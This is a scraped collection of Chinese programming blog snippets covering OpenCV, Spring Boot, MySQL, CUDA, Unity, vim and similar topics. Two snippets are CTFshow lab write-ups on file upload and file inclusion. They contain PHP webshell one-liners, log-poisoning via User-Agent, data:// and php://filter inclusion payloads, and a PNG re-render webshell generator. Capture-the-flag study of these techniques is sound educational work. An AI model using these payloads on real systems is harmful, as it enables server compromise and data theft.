Relationship,NodeMatcher # 头实体 head = Node("regoin", name='邯郸市') # 尾实体 tail = Node("

【OpenCV用imshow显示图像到指定窗口内】

OpenCV显示图像用imshow函数,会弹出图像显示窗口 但有时我们希望图像能显示到我们界面的某个窗口内,可以这样做: 1 界面上放一个Picture控件,用来未来显示图像用,ID设为IDC_PIC(举例) 2 定义一个字符串符号(不是必须,只是这样方便,而且不容易出错) #define WND_NAME "myimg" 3 在程序初始化时: namedWindow(WND_NAME); HWND hWnd = (HWND)cvGetWindowHandle(WND_NAME); ::SetParent(hWnd, GetDlgItem(IDC_PIC)->m_hWnd); 解释:namedWindow创建一个指定名称的窗口,然后cvGetWindowHandle获取刚创建这个窗口的句柄,SetParent将这个新创建的窗口设置为想要显示窗口的子窗口,最终效果实际上就是把imshow窗口镶嵌进了指定的Picture控件里 4 要显示图像时,调用: imshow(WND_NAME, img); //img为Mat图像 注:cvGetWindowHandle函数需要添加头文件 #include "opencv2\highgui\highgui_c.h"

springboot集成swagger报错踩坑documentationPluginsBootstrapper

Failed to start bean ‘documentationPluginsBootstrapper’; nested exception is java.lang.NullPointerException错误 原因,使用springboot集成swagger的时候springboot版本高于swagger版本 先贴一个报错的图吧 这个是因为多写了个swagger配置 这个就是springboot与swagger版本不匹配 解决 springboot的版本高于2.6.0那就用swagger3.0.0 ![在这里插入图片描述](https://img-blog.csdnimg.cn/30a4214581644d7a91e53495ef878c3e.pn 如果想使用swagger2.9.2的就在pom文件里把springboot的版本手动改成2.5.6

Jupyter:no module named “xxxx” 但是实际上已安装的解决方案

以安装sympy为例: 在Jupyter中输入 !pip install --upgrade !pip install sympy import sympy 如果不奏效,试试下面这个: import sys sys.path.append('my/path/to/module/folder') #the (successful) line "!pip install sympy " should tell you where this path is 参考链接:https://stackoverflow.com/questions/30275418/no-module-named-sympy

Unity3d UGUI半透明或线性渐变图片显示不正常(模糊)问题解决(颜色空间不匹配)

问题 如题的问题,之前没遇到过,透明渐变的图片在预览和各种软件上查看都很正常,但是放入UGUI上就有模糊的问题。 在Inspector上(正常): 放到UGUI下: 各项设置都是默认: 解决方法 花了大半天时间才找到问题的点是颜色空间(Color Space) 这里给两种程序最省事的方法,嘎嘎。 修改为Gamma 因为我的工程是渲染给的工程,他修改过颜色空间为Linear,修改为Gamma后图片模糊的问题解决: 但是场景渲染效果可能有折扣,这个需要自己去协调。 设计工具颜色空间 要在PS上使用线性空间制作,因为PS默认是使用Gamma空间的,转为线性空间,在Unity内部就是统一空间下制作的,就不需要转换了。设置参考如下: 其它 参考了这位大师的方法:https://zhuanlan.zhihu.com/p/348382979 包含了其它高端的方法。

基于element-ui封装table组件

基于element-ui实现的封装table,表格列通过render函数使用jsx渲染处理单个字段 效果如下 表格组件代码 <template> <div class="table-management"> <el-table style="width: 100%" :data="tblData" v-loading="tbLoading" v-bind="attrs" element-loading-text="正在加载" @selection-change="handleSelectionChange"> <el-table-column v-if="isSelect" type="selection" width="40"> </el-table-column> <el-table-column v-for="(item, index) in column" :key="index" :type="item.type" :index="item.index" :column-key="item.columnKey" :label="item.label" :prop="item.prop" :width="item.width" :min-width="item.minWidth" :fixed="item.fixed" :header-align="item.headerAlign" :align="item.align" :show-overflow-tooltip="showOverflowTooltip"> <template slot="header"> <div v-if="item.tip"> <span>{{item.label}}</span> <el-tooltip placement="right"> <div slot="content"> <div v-for="(items,index) in item.tipData" :key="index"> <p> {{items.msg}} </p> </div> </div> <i class="el-icon-question"></i> </el-tooltip> </div> <p v-else>{{item.label}}</p> </template> <template slot-scope="scope"> <expand-dom v-if="item.render" :render="item.render" :row="scope.row" :index="scope.$index" :column="

Umap与 t-sne可视化CNN特征

考虑到umap 比 t-sne快,而且全局结构更好。 demo网站 Understanding UMAP doc: https://github.com/lmcinnes/umap How to Use UMAP — umap 0.5 documentation plt.scatter()_coder-CSDN博客_plt.scatter tqdm 遍历 DataLoader 报错 TypeError: ‘module‘ object is not callable 解决 tqdm 遍历 DataLoader 报错 TypeError: ‘module‘ object is not callable 解决_月亮不知道的博客-CSDN博客 Python—UMAP流形数据降维工具简介 - 知乎 numpy pytorch 拾遗_slzlincent的博客-CSDN博客_net.apply(init_weights) 对比看来 umap更关注gloabal 和 tsne更关注 local tsne 可视化demo网站 How to Use t-SNE Effectively t-SNE实践——sklearn教程_hustqb的博客-CSDN博客_python sklearn tsne doc: https://scikit-learn.org/stable/modules/generated/sklearn.manifold.TSNE.html

Ubuntu常见问题记录

Ubuntu常见问题记录 查看系统信息查看本机内核驱动查看Opencv版本 常用软件安装换成国内源add-apt-repository(PPA)ubuntu-drivers: command not found安装Opencv apt-get相关apt-get update -> E: Unable to lock directory /var/lib/apt/lists/apt-get update -> 卡在Waiting for headersbazel authentication failed 其他错误运行shell脚本出现`%0D`编码 查看系统信息 查看本机内核驱动 $ cat /proc/driver/nvidia/version NVRM version: NVIDIA UNIX x86_64 Kernel Module 450.102.04 Tue Dec 29 06:51:23 UTC 2020 GCC version: gcc version 7.5.0 (Ubuntu 7.5.0-6ubuntu2) 查看Opencv版本 $ pkg-config --modversion opencv 2.4.9.1 常用软件安装 换成国内源 例如:清华源 https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/ 换源之后可能的问题: root@9ff72f3b6504:/etc/apt# apt-get update Ign:1 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic InRelease Ign:2 https://mirrors.tuna.tsinghua.edu.cn/ubuntu bionic-updates InRelease Ign:3 https://mirrors.

目标检测学习笔记——OHEM和focal loss

OHEM(online hard example mining)和focal loss可以解决困难样本和简单样本不平衡的问题 OHEM通过选择损失较大的候选ROI解决困难样本和简单样本不平衡的问题,原论文是用fast rcnn做实验的。 OHEM论文解读 focal loss和ohem 关于目标检测不平衡问题的一些工作 一、focal loss 论文链接:https://arxiv.org/pdf/1708.02002 参考链接:https://www.cnblogs.com/king-lps/p/9497836.html 作用: 解决一阶段目标检测中简单困难样本呢不均衡问题和正负样本呢不均衡的问题 原因:一阶段网络没有rpn网络来筛选正负样本,使得送入网络的负样本数量巨大。 做法:引入gamma使得对于正样本来说预测概率越大损失函数越小,对于负样本来说,预测概率越小,损失函数越小这样使得模型更关注那些困难样本(即预测概率不大或不小的样本);引入alpha平衡正负样本数量不平衡的问题。

【并发容器精讲一、】ConcurrentHashMap

ConcurrentHashMap 1. 磨刀不误砍柴功 :Map简介2. 为什么需要ConcurrentHashMap3. 九层之台,起于累土,罗马不是一天建成的:HashMap分析4. JDK1.7 中 ConcurrentHashMap 实现和分析5. JDK1.8 中 ConcurrentHashMap 实现和源码分析6. 对比1.7 与 1.8 ,为什么要把1.7的结构改成1.8的结构 1. 磨刀不误砍柴功 :Map简介 Map 是个接口 他会有许多实现如下: HashMap 基本介绍: 1. 用于存储Key-Value键值对的集合(每一个键值对也叫做一个Entry)(无顺序)。 2. 根据键的hashCode值存储数据,大多数情况下可以直接定位到它的值。 3. 键key为null的记录至多只允许一条,值value为null的记录可以有多条。 4. 非线程安全。 5. HashMap是由数组+链表+红黑树(JDK1.8后增加了红黑树部分,链表长度超过阈值(8)时会将链表转换为红黑树)实现的。 6. HashMap与Hashtable区别: Hashtable是synchronized的。 Hashtable不可以接受为null的键值(key)和值(value)。 简单例子: public static void main(String[] args) { Map<String,String> map = new HashMap(); map.put("1","1"); System.out.println(map.isEmpty()); System.out.println(map.keySet()); } JDK版本 实现方式 节点数>=8 节点数<=6 1.8以前 数组+单向链表 数组+单向链表 数组+单向链表 1.8以后 数组+单向链表+红黑树 数组+红黑树 数组+单向链表 Hastable 1.

Springboot通过redisTemplate实现发布订阅

一、背景 公司的服务是集群的模式,也就是一个服务多台服务器部署。 在A服务器调用T接口处理逻辑后,需要同步通知B服务器清空服务器本地缓存。考虑了下,觉得redis的发布/订阅模式很适合。A服务器发布,BCD服务器订阅相关的topic,A服务器一有变动,就推送到redis,订阅了对应topic的BCD就能感知到,获取到相同的一份数据,BCD都进行逻辑处理 二、代码实现 1、RedisConfig核心类,实现了Redis连接,订阅以及发布配置 import com.alibaba.ttl.threadpool.TtlExecutors; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.redis.connection.RedisConnectionFactory; import org.springframework.data.redis.listener.PatternTopic; import org.springframework.data.redis.listener.RedisMessageListenerContainer; import org.springframework.data.redis.listener.adapter.MessageListenerAdapter; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; import java.util.concurrent.Executor; @Configuration public class MyRedisMQConfig { private int corePoolSize = 10; private int maxPoolSize = 20; private int queueCapacity = 900000; @Bean public Executor redisMqAsyncExecutor() { ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); executor.setThreadNamePrefix("redisMqThread-"); executor.setCorePoolSize(corePoolSize); executor.setMaxPoolSize(maxPoolSize); executor.setQueueCapacity(queueCapacity); executor.initialize(); return TtlExecutors.getTtlExecutor(executor); } /** * 消息监听器,使用MessageAdapter可实现自动化解码及方法代理 * * @return */ @Bean public MessageListenerAdapter listenerAdapter(MyMsgSubscriber myMsgSubscriber) { MessageListenerAdapter adapter = new MessageListenerAdapter(myMsgSubscriber, "

POI指定单元格不可编辑

1. 思路 1.1 所定全表为 lock 状态。 1.2 解锁表格所在的列为 unlock 状态。 1.3 锁定的需要锁定的单元格为 lock 状态。 这样整的原因是: poi 不支持直接对单元格设置锁定,poi 只支持全表锁定,和在全表锁定的情况下设置 cell 的锁定状态。 2. 代码 列出主要方法如下: private Workbook workbook; private Sheet sheet; private String fileName; private List<List<String>> excelHead; private List<List<Object>> excelData; private Map<Integer, List<String>> selectFieldsMap; private String password = "123456"; public void createExcel() { setCommonStyle(); createHeader(); createBody(); createSelectBox(); } private void setCommonStyle() { if (!MasterDataConstants.PRODUCT.equals(fileName)) { return; } // 1.1 所定全表 为 lock sheet.

MySQL 问题整理

MySQL 问题整理 启动报错:ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)MySQL 无法启动 服务没有报告任何错误ERROR 1045 Access denied for user 'xxx' NO服务命令 启动报错:ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061) 登录 MySQL 的主机时,打开 cmd 命令行工具,执行命令 mysql -uroot -p,出现如下错误: ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061) 解决方法: 在计算机管理中找到【服务】(或者直接在运行中输入 services.msc 按回车直接打开服务窗口),在服务检查 MySQL 服务是否存在。 如果不存在使用 mysqld -install 安装服务。已经安装了 MySQL 服务,则会提示 The service already exists。 安装服务后,点启动服务就会解决此问题。还可以通过命令启动 MySQL 服务。

Maven 项目中,“Dependency ‘xxxx‘ not found“ 解决过程

Maven项目中,"Dependency 'xxxx' not found" 解决过程 问题解决方法setting.xml 文件pom.xml 文件 问题 在使用 IDEA 开发过程中,添加了一个 jar 包的依赖,突然发现版本号是红色,移动鼠标上去后提示 Dependency xxxx not found。去 maven 仓库中可以找到此 jar 包。为什么它不自动下载呢? 解决方法 经过了解后,发现跟我本地 maven 文件夹中的 setting.xml 配置有些关系。 setting.xml 文件 假如,你设置了 aliyun 镜像代理,如下: <mirror> <id>alimaven</id> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/groups/public/</url> <!-- *表示所有的仓库只使用aliyun的镜像,实际是aliyun只镜像了central,所以这里要写成写成central --> <!--<mirrorOf>*</mirrorOf>--> <mirrorOf>central</mirrorOf> </mirror> 我们在 maven repository 仓库中查找 HTTP Kit 包得到如下信息: 我们可以看到此包的 repository 是 Clojars。它表示这个 jar 包在 Clojars 仓库中。而不是在常见的 central 仓库中。那么我们使用上面的 aliyun 镜像就会出现问题。因为 aliyun 镜像只镜像了 central 仓库。 所以,知道问题了,那我们再给他把 Clojars 仓库配置进去就可以了。这里以 JBoss 仓库为例。

【高性能计算】CUDA编程之线程存储与原子操作(教程与代码-2)

3 线程、同步、存储器 3.1 线程与存储 tid=blockIdx.x(当前块的ID)*blockDim.x(当前块里面的线程数量)+threadIdx.x(当前线程在块中的ID)gridDim.x*blockDim.x来计算,前者代表了本次启动的块的数量,而后者代表了每个块里面的线程数量,然后每次while循环,tid变量加上这个值,向后偏移以得到下个任务的索引所有线程都有一个寄存器堆,它是最快的。共享内存只能被块中的线程访问,但比全局内存块。全局内存是最慢的,但可以被所有的块访问。常量和纹理内存用于特殊用途所有通过cudaMalloc分配的存储器都是全局内存本地内存和寄存器堆对每个线程都是唯一的。寄存器是每个线程可用的最快存储器。当内核中使用的变量在寄存器堆中装不下的时候,将会使用本地内存存储它们,这叫寄存器溢出“读取旧值-累加-回写新值”操作是不可被其他线程扰乱的原子性的整体完成的。使用atomicAdd进行原子累加的内核函数使用原子操作后程序具有更大的执行代价。可以通过使用共享内存来加速这些原子累加操作 GPU卡从逻辑上对用户提供了64KB的常量内存空间,可以用来存储内核执行期间所需要的恒定数据常量内存有助于节省全局内存的访问带宽warp整体进行一次常量内存的读取,结果广播给warp里的32个线程。同时,常量内存具有cache缓冲。当后续的在邻近位置上访问,将不会发生额外的从显存过来的传输。每个warp里的32个线程,进行一致性的相同常量内存位置读取的时候,这种广播效果和cache命中效果可以节省执行时间当程序进行具有很大程度上的空间邻近性的访存的时候,纹理变得非常高效。空间邻近性的意思是,每个线程的读取位置都和其他线程的读取位置邻近。请一定要确保纹理引用被定义成全局静态变量,同时还要确保它不能作为参数传递给任何其他函数。原子操作-求和 #include <stdio.h> #define NUM_THREADS 10000 #define SIZE 10 #define BLOCK_WIDTH 100 __global__ void gpu_increment_without_atomic(int *d_a) { // Calculate thread id for current thread int tid = blockIdx.x * blockDim.x + threadIdx.x; // each thread increments elements wrapping at SIZE variable tid = tid % SIZE; d_a[tid] += 1; } __global__ void gpu_increment_atomic(int *d_a) { // Calculate thread id for current thread int tid = blockIdx.

不能使用鼠标在vi中实现粘贴功能

在工作中,忽然发现有的linux不能在vi编辑器中使用鼠标粘贴复制了,大大降低了工作效率,原本想把这两行代码粘贴到每个服务器上,简化日常运维操作, 如下图所示: 在服务器A上选中这两行代码 到B服务器上用vi或者vim编辑器打开要修改的文件 输入i,进入命令行模式,由于在LInx中是默认选中即复制,使用鼠标中键可以实现粘贴。 但是在实际使用过程中,发现在vi的编辑模式下,无法粘贴,如下图所示: 原本的插入模式变成了(插入)可视 解决方法: 编辑vi ~/.vimrc文件,新增以下两行代码 set mouse=c syntax on 说明: 第一行:设置成命令行模式,设置完成后代码高亮会消失; 第二行:设置代码高亮。 发现我维护的这套linux服务器,家目录中并无该配置文件。也许这就是问题所在吧,不管它,直接编辑该文件,会重新新建一个空白文件,粘贴上面的两行代码,保存后退出,这样操作后可以正常在vim中使用鼠标粘贴了

python读取文件夹图像名称并保存为txt文件

代码一: 利用python,获取目录文件下的以‘.png’为后缀的图像,保存为list,然后写入txt文件中。其他类型的文件类似,修改相应部分即可。 # encoding: utf-8 import os def to_text(src,dst1): txt=[] filenames= os.listdir(src) # filenames.sort(key= lambda x:(int((x.split('_')[1]).split('.')[0]))) # train_2045.png filenames.sort(key =lambda x: int(x.split('.')[0])) # 2045.png #print(filenames) for item in filenames: if item.endswith('.png'): txt.append(item) fo=open(dst1,'w') for item in txt: fo.write(str(item)+'\n') if __name__ == "__main__": src=r'F:\all_date\WHU\A' dst1=r'F:\all_date\WHU\file.txt' to_text(src,dst1) 代码二: # -*- coding:utf-8 -*- import sys sys.path.append('D:\\Program files\\Anaconda\\libs') import os #os:操作系统相关的信息模块 import random #导入随机函数 #存放原始图片地址 data_base_dir = "E:\\test\\" file_list = [] #建立列表,用于保存图片信息 #读取图片文件,并将图片地址、图片名和标签写到txt文件中 write_file_name = 'E:\\test\\image.

将邮件模板内容拷贝到邮箱中(含样式)

注:邮件样式仅支持行内,且不支持部分CSS3样式 <div> <div class="fixBtn"> <el-button type="primary" @click="copyInfo()">复制</el-button> </div> <!-- 复制内容开始 --> <div ref="htmlData"> <div style="width: 700px;margin: 0 auto 60px;border: 1px solid #dddddd;border-top: 10px solid #666;font-size: 14px;padding: 15px 0;"> <div style="border-bottom: 1px dashed #dddddd;text-align: justify;padding: 15px 0;"> <div style="margin: 0 15px;"> Dear 【{{name}}】,您好!<br />我们正在处理 Report ID {{reportKeyNum}}的报销费用,遇到以下问题,请检查: </div> </div> <div class="emailTable" style="margin: 15px;"> <div v-for="(item,index) in newData" :key="index"> <div class="itemList" style="margin-bottom:15px;"> <div style="font-weight:bold"> ({{index + 1}}){{item.date}}【 {{item.expenseType}} / CNY {{item.amount}}元】 </div> <div style="

解决MySql数据库中文字符乱码问题

在设备连接云服务中,遇到关于Mysql数据库的中文字符码乱的问题,经网上查资料,终于解决,特记录: C for linux mysql_query(conn_ptr,"set character_set_results=utf8"); //读库 读取数据.... mysql_query(conn_ptr,"set names 'utf8'");//写库 插入数据/修改数据... PHP mysql_query("set names 'UTF8'"); 插入数据/读取数据/修改数据 ...

CTFshow——web入门——文件上传

web入门—文件上传 web151web152web153web154web155web156web157web158web159web160web161web162、web163web164web165web166web167web168web169web170 web151 前端校验 修改上传格式为php,上传一句话马,蚁剑连接得flag web152 后端校验 上传一句话,png文件抓包 修改文件名后缀为php,访问被解析,蚁剑连接得flag。 web153 打开发现/upload下存在index.php文件,我们可以利用.user.ini,可参阅.htaccess 和.user.ini 配置文件妙用 php手册—关于php.ini配置项 前端把后缀限制去掉,accept改为file,上传user.ini Content-Type修改为image/png 上传1.txt文件也能成功 蚁剑连接得flag。 web154 上题做法提示文件内容不合规,我们在文件头添加GIF89a还是不行,经过了一番尝试…发现过滤了php,那我们使用短标签 蚁剑连接得flag。 web155 按照上题做法依旧可以。 web156 在之前的基础上又过滤了[],可以用{}代替。 web157 过滤了;和{,直接命令执行可以了 <?=`tac ../fl*`?> web158 和上题做法一样 <?=`tac ../fl*`?> web159 依旧可以 <?=`tac ../fl*`?> web160 日志包含绕过 <?=include"/var/lo"."g/nginx/access.lo"."g"?> 先上传一个.user.ini文件,之后上传一个txt文件,内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>考虑到过滤log,之后User-Agent修改为<?php eval($_POST[1]);?>蚁剑连接得flag。 web161 上传ini文件时加上GIF89A 修改User-Agent为<?php eval($_POST[1]);?>,蚁剑连接得flag。 web162、web163 先放这… web164 二次渲染绕过 <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'2.

CTFshow——web入门——文件包含

web入门——文件包含 web78web79web80web81web82web83-web86web87web88web116web117 web78 题目 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 题解 伪协议 file=php://filter/convert.base64-encode/resource=flag.php data协议 c=data://text/plain,<?php system('tac fla?.php');?> web79 题目 <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } 题解 把php字符替换成???了 一、data协议 file=data://text/plain,<?=system('tac fl*');?> 二、传入shell file=data://text/plain,<?=eval($_POST[1]);?> POST 1=phpinfo(); web80 题目 <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); } 题解 data被替换 日志文件地址

聚类算法内部度量-si,ch,dbi

聚类算法内部度量-si,ch,dbi 聚类算法内部度量:1. 轮廓系数(Silhouette Coefficient)2. CH分数(Calinski Harabasz Score )3. 戴维森堡丁指数(DBI)——davies_bouldin_score 数据及代码 参考资料: 常用聚类度量指标 sklearn聚类性能度量:main 轮廓系数及可视化中心点 ​ 聚类算法内部度量: 1. 轮廓系数(Silhouette Coefficient) ​ 函数: def silhouette_score(X, labels, metric=‘euclidean’, sample_size=None, random_state=None, **kwds): ​ 函数值说明: 所有样本的s i 的均值称为聚类结果的轮廓系数,定义为S,是该聚类是否合理、有效的度量。聚类结果的轮廓系数的取值在**【-1,1】之间,值越大,说明同类样本相距约近,不同样本相距越远,则聚类效果越好**。 2. CH分数(Calinski Harabasz Score ) ​ 函数: def calinski_harabasz_score(X, labels): 函数值说明: 类别内部数据的协方差越小越好,类别之间的协方差越大越好,这样的Calinski-Harabasz分数会高。 总结起来一句话:CH index的数值越大越好。 ​ 3. 戴维森堡丁指数(DBI)——davies_bouldin_score ​ 函数: def davies_bouldin_score(X, labels): 函数值说明: 注意:DBI的值最小是0,值越小,代表聚类效果越好。 ​ import pandas as pd from numpy import unique from numpy import where from matplotlib import pyplot from sklearn import metrics from sklearn.

逻辑门图解—与门、或门、非门、与非门、或非门、异或门、同或门

逻辑门图解 一:与门——(且 A&&B)二:或门——(或 A || B)三:非门——(非 !A)四:与非门 ——!(A&&B)五:或非门——!(A||B)六:异或门七:同或门 一:与门——(且 A&&B) 二:或门——(或 A || B) 三:非门——(非 !A) 四:与非门 ——!(A&&B) 与门+非门—> !(A&&B) 五:或非门——!(A||B) 或门+非门—> !(A||B) 六:异或门 相当于许多高级语言中的(异或~A^B) 两个输入不同–>输出1, 输入相同–>输出0 七:同或门 异或门+非门—>!(A^B) 两个输入不同–>输出0, 输入相同–>输出1

给数组添加元素的6个方法

给数组添加元素的6个方法 1. 使用 length 属性追加元素 使用length属性,可以在数组末尾后面添加一个元素 var arr = [1, 2, 3, 4, 5]; arr[length] = 6; console.log(arr); // [1, 2, 3, 4, 5, 6]; 2. 使用 push 方法追加元素 push()方法将一个或多个元素添加到数组的末尾,并返回该数组的新长度 var arr = [1, 2, 3, 4, 5]; arr.push(6); console.log(arr); // [1, 2, 3, 4, 5, 6]; 3. 使用 unshift 方法在数组的第一项前插入一个元素 unshift()方法将一个或多个元素添加到数组的开头,并返回该数组的新长度 var arr = [1, 2, 3, 4, 5]; arr.unshift (6); console.log(arr); // [6, 1, 2, 3, 4, 5]; 4.

ios app 通过扫码下载ipa自动安装应用

1、 .xxx.ipa 安装包 此ipa包,需要经过签名的。 2、plist文件 那plist文件是什么呢? 它全名是:Property List,属性列表文件,它是一种用来存储串行化后的对象的文件。属性列表文件的扩展名为.plist ,因此通常被称为 plist文件。文件是xml格式的。 编辑以下文件,编辑完成后保存成 myapp.plist 文件 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>items</key> <array> <dict> <key>assets</key> <array> <dict> <key>kind</key> <string>software-package</string> <key>url</key> <string>https://pro.***.com.cn:30010/app-prod.ipa</string> <!-- https://pro.***.com.cn:30010/app-prod.ipa ipa包可以下载的路径 必须是https服务 不能使用ip,必须使用域名访问 --> </dict> <dict> <key>kind</key> <string>full-size-image</string> <key>needs-shine</key> <true/> <key>url</key> <string>https://pro.***.com.cn:30010/dcloud_logo-2x.png</string> <!-- https://pro.***.com.cn:30010/dcloud_logo-2x.png png图片的下载路径 必须是https服务 不能使用ip,必须使用域名访问 --> </dict> </array> <key>metadata</key> <dict> <key>bundle-identifier</key> <string>com.**.**替换成应用的bundleId值</string> <key>bundle-version</key> <string>1.0</string> <key>kind</key> <string>software</string> <key>title</key> <string>替换成应用名</string> </dict> </dict> </array> </dict> </plist> 3、下载的页面

“虚拟机可能正在使用中,请获取所有权”

VM虚拟机总是警告类似于这样的话:“虚拟机可能正在使用中,请获取所有权(T)” 解决方法:到报错虚拟机的目录中,找到与虚拟机名字同名的以lck为后缀名的文件 将这个文件删掉或者后缀名重命名一下 再次重启,就可以打开啦

js 原生手写深拷贝

js 原生手写深拷贝 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> </head> <body></body> <script> let obj = { name: "zhangsan", username: 1234, password: "fdfe", list: [3, 1, 2, [3, 2, 1], { name: "Lisi" }], sex: undefined, time: new Date(), family: { name: "王", }, reg: /\d/, fn: function () { console.log("OK"); }, }; let obj2 = {}; function clone(obj2, obj) { for (let key in obj) { let value = obj[key]; console.

c#“线程间操作无效: 从不是创建控件的线程访问它”问题解决

摘自:http://blog.csdn.net/hongkaihua1987/article/details/7439231 http://hi.baidu.com/jcserver/blog/item/b7e8da3e2f6f35f0828b13f1.html 经典解决“线程间操作无效: 从不是创建控件的线程访问它” 在编程中经常会遇到在一个按钮中执行复杂操作,并将复杂操作最后返回的值加入一个ListView或ComboBox中候选。这个时候程序会卡,当程序员将这些卡代码放进线程(Thread)中后发现当对控件操作时出现“线程间操作无效: 从不是创建控件的线程访问它”异常。 为什么.net不让我们跨线程操作控件,这是有好处的。因为如果你的线程多了,那么当两个线程同时尝试将一个控件变为自己需要的状态时,线程的死锁就会发生。但是难道就是因为这个原因,我们就只能让程序卡着么?当然不是,这里教大家两个个解决方案: (1)不使用委托:在构造函数或者窗体Load的代码里添加下面一句: Control.CheckForIllegalCrossThreadCalls = False (2)委托方法的实现 delegate void SetTextCallback(string text); event SetTextCallback SetTextEvent; //调用窗体中的函数用invoke传递参数 private void SetText(string text) { if (this.txtShow.InvokeRequired) { SetTextCallback d = new SetTextCallback(SetText); this.Invoke(d, new object[] { text }); } else { this.txtShow.Text += text+"\n"; } } SetTextEvent += new SetTextCallback(SetText); SetText(str); (3) this.Invoke(new MethodInvoker(DisplayReceiveMessage)); private void DisplayReceiveMessage() {txt_visble.Text = "hello world" } ================================================================================== 以下详解出自: http://hi.baidu.com/jcserver/blog/item/b7e8da3e2f6f35f0828b13f1.html 在设计中为了让界面与逻辑分离,我的做法是使用事件,界面只要响应事件来处理界面的显示就行了。而事件在逻辑处理中可能由不同的线程引发,这些事件的响应方法在修改界面中的控件内容时便会引发一个异常。 这时就用到了Control.InvokeRequired 属性 与Invoke方法。

笔记本新增一块1T固态,如何将系统迁移到新的固态,无缝对接(无需重装系统,迁移后直接用)。

最近上了几款新固态,关键是性能又好,价格又便宜,差不多 1GB/5毛钱,比U盘都便宜太多了,于是就买了一块海康威视1TB固态硬盘,花了5百多。 没想到海康威视居然也做固态硬盘了,之前一直都是intel、西数、东芝等品牌,如今国内的品牌也多了起来, 为中国点赞,看来国内对芯片这块开始慢慢发展起来了。相信最近几年国内的硬实力也会变的越来越硬。 买回来后,第一件事情就是看下是否又说的那么快,看了一下顺序读取还不错 步入正题 因为我笔记本上插了2条512G的固态,一条原装,一条intel 760p。 换上海康威视的固态后会空出一条固态,于是另外花了100左右买了一个硬盘盒,我拿来当U盘使用。 因为我之前也这样搞过,差不多1G/s的读写速度,太爽了 想了一下,如今固态这么便宜,很可能以后还会将另外那根512G的固态也换上。 于是就想系统挪到这块新的固态上,日后要是想换的时候就直接替换即可。 此前有不少小伙伴看过我之前写过的博客[推荐大家先看下] 《win10 如何做到 C盘 的绝对干净,所有软件都安装到D盘,C盘只用来存操作系统。》 我相信很多人都遇到过重装系统的场景,之所以重装系统,很多人是因为之系统环境乱,或者一些垃圾软件拖慢了系统。也有人遇到电脑蓝屏,无法开机,或者硬盘损坏需要更换硬盘导致重装系统。 重装系统不用说,肯定相当麻烦,因为重装完后意味着所有软件都得来一遍安装,对于作者来说,本人也不喜欢重装系统,但有些时候也是没办法,只能重装。 我为了避免重装,于是就有了自己的一个套路。 在我的电脑上,一般我会将一块磁盘划分为3块空间,一块空间放操作系统C盘,一块空间放软件D盘,一块空间放文件E盘。 下面是我迁移后的磁盘文件情况 原理其实很简单,就是备份和还原,但备份前尽量让系统盘小一点,这样备份起来也快,还原也快。 之前我一直是把磁盘划分出3块空间,C盘只存放系统,软件存放到D盘Program File 或者 Program File x86中(安装的过程中只需要改盘符为D即可,这样简单)。 这么做的目的是为了日后遇到的各种情况,比如那天想要升级系统(比如Win11)或者想要重装系统(可能系统坏了),只需要对C盘格式化,进行安装即可,原来在使用过程中的绝大多数软件依旧可以使用,只需要创建一个快捷方式 或者 备份原来的桌面快捷方式即可。 备份还原只需要一块U盘,通过软件:电脑店 制作一块U盘启动盘,插上U盘,选对U盘,点击一键制作即可完成 https://u.diannaodian.com/ 以下操作在U盘的PE环境下 假设你已经更换上了新固态 一、备份系统,Dism++ (pe自带) 备份前建议先清理一下,空间回收这块 全部勾选,然后点击清理即可 然后再进行备份,这样备份出的文件会小一点,备份路径 文件 -> 另存为映像 ->选择一个存储路径,填入文件名 等待备份完成即可。 假设备份的文件名是win10-2022-02-22.wim 二、还原系统,WinNTSetup(pe自带,在菜单所有程序中的安装维护文件夹中) 首先需要对这块新的固态划分空间,通过下面的步骤完成磁盘的分区,分区完成后会像我图中1024G的那款固态类似 假设经过分区后ESP分区的盘符为Z盘,那么还原的时候如下 点击开始安装即可开始还原,只需要等片刻进度条就会走完。 这个时候系统盘已经是完成了迁移,但是软件还需要从原来的磁盘中迁移到新的磁盘上,当然你也可以开机后将原来的分区依旧更改为D盘也是可以的。 我这里是直接copy到新的磁盘中。 因为系统迁移后,原理的C D E盘共477GB的空间,C、D通过上面的方式都迁移到了新的硬盘上,为了方便干脆就将C,D 